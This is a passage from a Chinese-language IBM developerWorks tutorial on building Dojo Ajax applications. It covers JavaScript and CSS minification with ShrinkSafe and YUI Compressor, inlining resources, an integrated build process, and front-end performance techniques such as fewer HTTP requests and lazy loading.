Dojo ShrinkSafe 的使用非常简单。从 Dojo SDK 的 utils/shrinksafe目录可以找到 shrinksafe.jarjs.jar两个 jar 包,其中 shrinksafe.jar是 ShrinkSafe 主程序,js.jar是依赖的 Rhino 库。ShrinkSafe 可以处理多个文件或 URL,输出的结果可以被写入到文件中。如 java -cp ./js.jar -jar shrinksafe.jar file.js > file_shrinked.js对单个文件 file.js进行缩减处理,把结果输出到文件 file_shrinked.js中。而 java -cp ./js.jar -jar shrinksafe.jar a.js b.js c.js > all.js则把 3 个文件分别进行压缩之后再合并成单个文件 all.js。使用的时候可以通过 -Dfile.encoding来指定读取文件使用的编码格式。关于 ShrinkSafe 的更多内容,见 参考资料

使用 YUI Compressor 缩减 CSS 代码

在 Ajax 应用中,除了 JavaScript 代码之外,CSS 代码也占据着比较大的比例。因此也同样需要对 CSS 文件进行缩减操作。YUI Compressor 提供了对 CSS 代码的缩减功能,可以减少 CSS 文件的大小。YUI Compressor 会对 CSS 文件做如下的处理:

  • 去掉 CSS 文件中的注释和空白字符。如果希望保留某些重要的注释内容,如版权声明,可以用 /*! */来声明。
  • 去掉 CSS 样式规则声明中多余的分号。
  • 去掉空白的样式声明规则。如 .empty {}
  • 去掉 0 值后面的单位和小于 1 的浮点数之前的 0。
  • 简化样式规则声明中的颜色的声明。
  • 保证常用的 CSS 招数能正常工作。

YUI Compressor 的使用非常简单,下载了相应的 jar 包之后,通过 java -jar yuicompressor-2.4.2.jar myfile.css -o myfile-min.css就可以缩减 CSS 文件 myfile.css

内联 JavaScript 和 CSS 代码

Ajax 应用中一般通过 <script><link>元素引用外部的 JavaScript 和 CSS 文件。另外一种做法是通过 <script><style>元素把 JavaScript 和 CSS 代码内联在 HTML 页面中。两种做法各有利弊。外部 JavaScript 和 CSS 文件可以被浏览器缓存起来,如果用户跳转到同一应用的另外页面,而此页面也引用了同样的 JavaScript 和 CSS 文件的话,浏览器可以直接从缓存中读取内容,从而使得页面加载速度变快。内联的 JavaScript 和 CSS 代码可以减少额外的 HTTP 请求,但是会增加页面的数据大小。对于单页 Web 应用(Single page application)来说,内联 JavaScript 和 CSS 代码是一个不错的选择。但是使用外部文件的另外一个好处是便于开发过程中的代码组织。因此可以考虑在开发过程中使用外部文件,再通过构建过程把文件内联到 HTML 页面中。

内联 JavaScript 和 CSS 代码的实现并不复杂。只需要对 HTML 页面中的外部 JavaScript 和 CSS 文件链接进行分析,获取文件的内容,并把内容添加到 HTML 页面中即可。

集成的构建过程

上面给出的这些构建过程中的重要步骤可以集成起来,形成一个完整的 Ajax 应用的构建过程。这个构建过程可以从开发过程中的一个 HTML 页面出发,分析其中所引用的外部 JavaScript 和 CSS 文件。对这些文件进行缩减和合并,得到单个 JavaScript 和 CSS 文件。如果需要的话,可以把 JavaScript 和 CSS 文件的内容内联到 HTML 页面中。完成之后,需要对原始的 HTML 页面进行更新,去掉对原始 JavaScript 和 CSS 文件的引用,而引用生成出来的文件。对应用中引用的图片也可以做压缩处理。完成这样一个完整的构建过程之后,就可以通过自动化的工具来定期构建和部署应用。

在介绍完 Ajax 应用的构建过程之后,下面介绍与性能相关的内容。

性能

性能对于 Ajax 应用来说是至关重要的一个因素。如果应用的加载时间过长,或是运行过程中存在明显的延迟感,就会给用户带来非常差的用户体验。而且现在 Web 上满足某个需求的同类应用非常多,竞争也非常激烈。用户很容易就会迁移到其它性能更好,用户体验更佳的应用上去。与前面章节中介绍的 安全问题类似,性能问题也是需要在应用开发的最初阶段都考虑的一个重要因素。否则到了应用开发的后期,为了达到对性能的要求目标,就可能需要对应用的架构做出比较大的调整,会影响项目的最终发布。

对用户来说,他最关注的是他所感知到的用户体验。他只关心打开一个页面时所花费的时间,以及执行某些操作时的延迟。对于 Ajax 应用开发者来说,提升 Ajax 应用的性能需要一个端到端的完整解决方案。以用户打开应用的首页来说,其中的交互可能包括下面几个部分:

  • 浏览器请求加载应用首页的内容。首页有可能是静态 HTML 页面,或是基于服务器端模板技术生成的动态页面,如 JSP、ASP 和 PHP 等。对于动态页面来说,生成这个页面可能需要与数据库或外部 Web 服务进行交互,而服务器也需要一定的时间来处理页面的生成。
  • 浏览器获取到页面的内容之后,开始对页面进行解析。这个部分包括加载页面引用的外部资源,如 JavaScript、CSS 和图像文件等,以及对页面本身进行布局。加载外部的 JavaScript 文件之后,需要执行这些 JavaScript 代码。
  • 用户在浏览器中看到了显示出来的页面内容,并开始与页面进行交互。页面本身会需要一些 JavaScript 代码来处理用户的请求,或是需要利用 XMLHttpRequest 来从服务器端获取新的数据。

对于 Ajax 应用来说,服务器端生成 HTML 页面所占用的时间只占这个过程全部时间的较小一部分,更大部分的时间花在浏览器端。一般来说,浏览器端所占时间的比例在 80% 左右。因此,提高浏览器端的性能对于 Ajax 应用来说至关重要。

减少 HTTP 请求数量

过多的 HTTP 请求对于 Ajax 应用的性能来说有着比较大的影响。对于每个 HTTP 请求,浏览器都需要与服务器建立建立连接。另外浏览器对于同一域上的 HTTP 请求的并发个数是有限制的。为了减少 HTTP 请求的数量,比较典型的做法就是对文件进行合并。可以把 JavaScript 文件和 CSS 文件分别进行合并。最好是 Ajax 应用中只引用一个 JavaScript 和一个 CSS 文件。多个图片也可以拼接起来,并通过 CSS Sprite 技术应用在页面上。更进一步的做法是把 JavaScript 和 CSS 代码内联到 HTML 页面中。

减少 HTTP 请求数据大小

通过减少 HTTP 请求的数据大小可以减少数据的传输时间。最基本的做法是对要传输的内容进行压缩。对 JavaScript 代码来说,可以通过缩减和混淆来减少文件大小。缩减操作会去掉代码中多余的注释和空白字符,而混淆可以减少局部变量的长度。对 CSS 代码来说,可以通过缩减操作来减少文件大小。HTML 页面中的注释和空白字符也可以被去掉。对于图像文件来说,有一些工具可以对特定类型的文件进行压缩处理。另外,通过开启服务器上的 gzip 支持,可以进一步压缩文本文件的大小。

用户所感受到的应用性能

一个 Ajax 应用实际的性能指标和用户所感受的快慢是不同的。应用开发人员除了专注于提高应用本身的性能之外,还应该更加关注用户体验。有一些比较好的做法可以让用户感觉应用更快一些。

给用户以反馈。有些操作由于其本身的特点,是需要花费比较长的时间完成的。比如需要调用一个外部 Web 服务的操作。对于这样的操作,需要给用户一些直观的反馈,告诉用户操作正在进行中,让用户进行等待。直观的反馈可以是文字、图像或是进度条等。

让页面的内容先显示出来。应用中包含 HTML 表示的内容、CSS 表示的样式以及 JavaScript 表示的逻辑。对用户来说,内容和样式是最基本的内容。有了展示良好的内容之后,用户就可以开始阅读了。而逻辑部分可以稍后再加载。在一个 HTML 页面中,CSS 文件的引用应该放在最上面,一般在 <head>元素中。而 JavaScript 文件的引用应该放在最下面,一般作为 <body>元素的最后一个子节点。

延迟加载 JavaScript 代码。有些 JavaScript 代码与页面的主要逻辑无关,只是提供一些增强和辅助功能。对于这样的 JavaScript 代码,可以在页面加载完成之后,再延迟一定的时间来加载。这里需要注意的是要控制页面上元素的状态,以防止用户的误操作。比如页面上有一个下拉菜单是通过延迟加载来实现的。那么当对应的 JavaScript 代码没有被加载完成的时候,该菜单应该是不能点击的状态。当 JavaScript 代码加载完成之后,会负责更新菜单对应的元素,使其变为可用的。另外,当用户在延迟加载过程还没有被触发的时候,点击了菜单,这个时候应该立刻开始对应 JavaScript 代码的加载工作。

预测用户的行为。在有些情况下,用户的下一步行为是可预测的。比如有些工作任务是有一定流程的,做完一件事情之后,肯定是接着另外一件事情。对于这种情况,可以在用户在进行前一操作的时候,就预先加载下一操作所需的 JavaScript 代码。这样的话,当用户进行到下一步的时候,相应的代码就已经加载完成了。用户就不会感到明显的延迟了。

总结

在 Ajax 应用开发中,除了要开发出相应的功能之外,也需要考虑一些非功能性的因素。这些非功能性因素包括应用的质量和可维护性、安全和性能等。通过单元测试可以保证代码的质量。本文中详细介绍了 D.O.H 的用法。而对于安全方面,本文详细介绍了几种常见的攻击方式及其防范措施。一个完善的构建过程可以提高 Ajax 应用的性能,本文也另外介绍了提高 Ajax 应用性能的其它方式。

声明

本人所发表的内容仅为个人观点,不代表 IBM 公司立场、战略和观点。


下载资源


相关主题


评论

添加或订阅评论,请先登录注册

static.content.url=http://www.ibm.com/developerworks/js/artrating/
SITE_ID=10
Zone=Web development
ArticleID=604993
ArticleTitle=使用 Dojo 的 Ajax 应用开发进阶教程,第 10 部分: Ajax 应用的测试、安全、性能及其它
publish-date=12272010